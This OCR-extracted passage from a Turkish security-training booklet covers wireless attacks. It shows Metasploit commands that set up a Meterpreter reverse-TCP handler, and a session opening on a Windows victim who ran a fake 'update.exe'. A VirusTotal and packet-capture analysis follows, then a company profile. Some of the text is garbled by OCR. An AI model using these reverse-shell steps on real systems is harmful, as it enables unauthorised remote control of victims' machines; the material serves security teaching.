(Guncellemeyi indiren kurban)

root@kali: ~/wifiphisher e ® O
File Edit View Search Terminal Help
msf > use multi/handler
msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_ tcp
PAYLOAD => windows/meterpreter/reverse tcp
) > set LHOST 10.0.0.1

) > set LPORT 81
= 81
exploit( ) > exploit

Handler failed to bind to 10.0.0.1:81:- -

Started reverse TCP handler on 0.0.0.0:81

Starting the payload handler...

Sending stage (957487 bytes) to 10.0.0.29

Meterpreter session 1 opened (10.0.0.1:81 -> 10.0.0.29:60842) at 2017-08-08 01:42:50 +0000

meterpreter > sysinfo
Computer : DESKTOP-UCH55PT
0s : Windows 10 (Build 15063).
Architecture : x64
: Er IR
: WORKGROUP
22
: x86/windows
meterpreter > |j

(zararli yazilim acgilmis ve saldirgan iceri sizmistir)
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2.3.4. Saldirinin Analizi

indirilen update.exe dosyasi virustotal de taratilir ve dosyanin zararh oldugu anlasilir.

o 50 engines detected this file o
O SHA-256 €5a2926e9c803b9e3f7c1403ffb65e0de5b79704b724cbbe34ca059f5fe06e3e
File name update.exe
File size 72,07 KB
Lastanalysis  2017-08-07 23:30:58 UTC
(50/64) e
A v
Detection Details Community
Ad-Aware M\ GenvariantRazy174703 AhnLab-V3 A\ Trojan/Win32.ShellR1283
AlYac Gen:Variant.Razy.174703 Arcabit A\ TroienRazyD2an6F
Avast A Win32:SwPatch [Wrm)] AVG A Win32:SwPatch [Wrm]
Avira A TR/Crypt.EPACK.Gen2 AVware A Trojan.Win32.5wrort.B (v)
Baidu A Win32.Trojan WisdomEyes.16070401... BitDefender A Gen:Variant.Razy.174703
Bkav A W32 FamVT.RorenNHc. Trojan CAT-QuickHeal A Trojan.Swrort.A
ClamAv A Win.Trojan Swrort-5710536-0 Comodo A TrojWare.Win32.Rozena.A

(Update.exe nin virustotal tarama sonucu)

Ag trafigi incelendiginde 81. porttan 10.0.0.1 ip adresine siirekli olarak TCP paketleri gittigi
goralur. Paketler incelendiginde veri aktarimi da yapildigl géziikmektedir. Bu durumda zararh
dosyanin tcp reverse shell oldugu distndlebilir.

Time Source Destination Protocol] Length Info — =
5537 305.345043437 10.0.0.29 10.0.0.1 TCP 54 51353 -+ 81| [ACK] Seq=927 Ack=111
5540 305.346201418 10.0.0.29 10.0.0.1 TCP 54 51353 -+ 81| [ACK] Seq=927 Ack=111
5543 305.345935564 10.0.0.29 18.0.0.1 TCF 54 51353 + 81| [ACK] Seq=927 Ack=111
5546 305.350013161 10.0.0.29 10.0.0.1 TCP 54 51353 -+ 81| [ACK] Seq=927 Ack=111
351112711 0.0, 10.0.8.1 TCP 54 51353 -+ 81| [ACK] Seq=927
352137362 .0.0. 10.0.0.1 TCP 54 51353 —+ 81| [ACK] Seq=927
,0.0.2 ,0.0.1 TCF 5 Se 7
5558 305.354450156 10.0.0.29 10.0.0.1 TCF 54 51353 ACK] Seq=927
5559 305.355748892 10.0.0.29 10.0.0.1 TCP 54 51353 -+ 81| [ACK] Seq=927
5560 305.357062395 10.0.0.29 10.0.0.1 TCP 54 51353 -+ 81| [ACK] Seq=827
5561 305.403193036 10.0.0.29 18.0.0.1 TCF 54 51353 + 81| [ACK] Seq=927
5562 305.408380031 10.0.0.29 10.0.0.1 TCP 144 51353 + 81| [PSH, ACK] Seq=927 Ac
5564 305.408959156 10.0.0.29 10.0.0.1 TCP 1414 51353 + 81| [ACK] Seq=1017 Ack=11
5566 305.409407682 10.0.0.29 10.0.0.1 TCP 1414 51353 + 81| [ACK] Seq=2377 Ack=11
5566 305.409805008 10.0.0, 29 10.0.0.1 TCP 1264 51353 —+ 81| [PSH, ACK] Seq=3737 /£
<55?1 305.628932499 10.0.0.29 18.0.0.1 TCF 54 51353 + 81| [ACK] Seq=4947 Ack=1'1 b
» Frame 5555: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 -

» Ethernet II, Src: HonHaiPr_ff:98:93 (2c:33:7a:ff:08:83), Dst: 00:00:00_cl:13:a8 (00:00:00:cl1:13:a8)
» Internet Protocol version 4, Src: 10.0.0.29, Dst: 10.0.0.1

~ Transmission Control Protocol, Src Port: 51353, Dst Port: 81, Seq: 927, Ack: 1128017, Len: 0
Source Port:

51353
Destination Por
[Stream 1index: 48
[TCP Segment Len: Q]
Sequence number: 927 (relative sequence number)

Acknowledgment number: 1128017 (relative ack number)

Header Length: 20 hytes

Flags: 0x010 (ACK)

Window size value: 526

[Calculated window size: 1602586]

[Window size scaling factor: 256]

Checksum: Oxedfi [unverified]

[Checksum Status: Unverified]

lirnent nointer: A b’

O ¥ Destination Port (tcp.dstport), 2 bytes Packets: 5829 - Displayed: 2174 (37.3%) - Dropped: 0 (0.0%)  Profile: Default

(10.0.0.1 adresine 81.porttan tcp paketleri gidiyor)

-
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Sonucg

Bu kitapgikta kablosuz aglarin sosyal mihendislik yontemleriyle parolalarinin nasil elde
edilebilecegi, ag icerisinde mitm saldirisi ile ag trafiginin saldirgan lzerinden nasil gecebilecegi
ve kablosuz aglari kullanarak hedefe nasil sizilacagi islenmistir. Acikca gorilmektedir ki
kablosuz aglar saldirganlar tarafindan koti niyetli bir sekilde kullanildiginda blyik zararlara
yol agabilmektedir. Kablosuz agin WPA2 ile korunmus olmasi glivende kalacagimiz anlamina
gelmemektedir.
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BGA Bilgi Guivenligi A.S. Hakkinda

BGA Bilgi Glvenligi A.S. 2008 yilindan bu yana siber glvenlik alaninda faaliyet gostermektedir.
Ulkemizdeki bilgi giivenligi sektoriine profesyonel anlamda destek olmak amaci ile kurulan BGA Bilgi
Guvenligi, stratejik siber giivenlik danismanligi ve glivenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da siirdiiren BGA Bilgi Guvenligi’'nin ilgi alanlarini “Sizma Testleri, Giivenlik Denetimi, SOME, SOC
Danismanligi, A¢ik Kaynak Siber Giivenlik Céztimleri, Biiylik Veri Glivenlik Analizi ve Yeni Nesil Givenlik
Coziimleri” olusturmaktadir.

Gergeklestirdigi basarili danismanlik projeleri ve egitimlerle sektérde saygin bir yer edinen BGA Bilgi
Guvenligi, kuruldugu giinden bugline alaninda lider finans, enerji, telekom ve kamu kuruluslarina
1.000'den fazla egitim ve danismanlik projeleri gerceklestirmistir.

BGA Bilgi Givenligi, kuruldugu 2008 yilindan beri tlkemizde bilgi glivenligi konusundaki bilgi ve
paylasimlarin artmasi amaci ile glivenlik e-posta listeleri olusturulmasi, seminerler, giivenlik etkinlikleri
diizenlenmesi, Universite 0Ogrencilerine kariyer ve bilgi saglamak icin siber glvenlik kamplari
diizenlenmesi ve sosyal sorumluluk projeleri gibi birgok konuda gondllii faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi Glvenligi A.S.'nin egitim ve sosyal sorumluluk markasi olarak c¢alisan Bilgi Guvenligi
AKADEMISI, siber giivenlik konusunda ticari, gonillii egitimlerin diizenlenmesi ve siber giivenlik
farkindaligini arttirici goénilli faaliyetleri yiritilmesinden sorumludur. Bilgi Giivenligi AKADEMISI
markasiyla bugiine kadar “Siber Glvenlik Kamplar”, “Siber Glivenlik Staj Okulu”, “Siber Givenlik Ar-
Ge Destek Bursu”, “Ethical Hacking yarismalarl” ve “Siber Glvenlik Kitiphanesi” gibi bircok gondlli
faaliyetin destekleyici olmustur.
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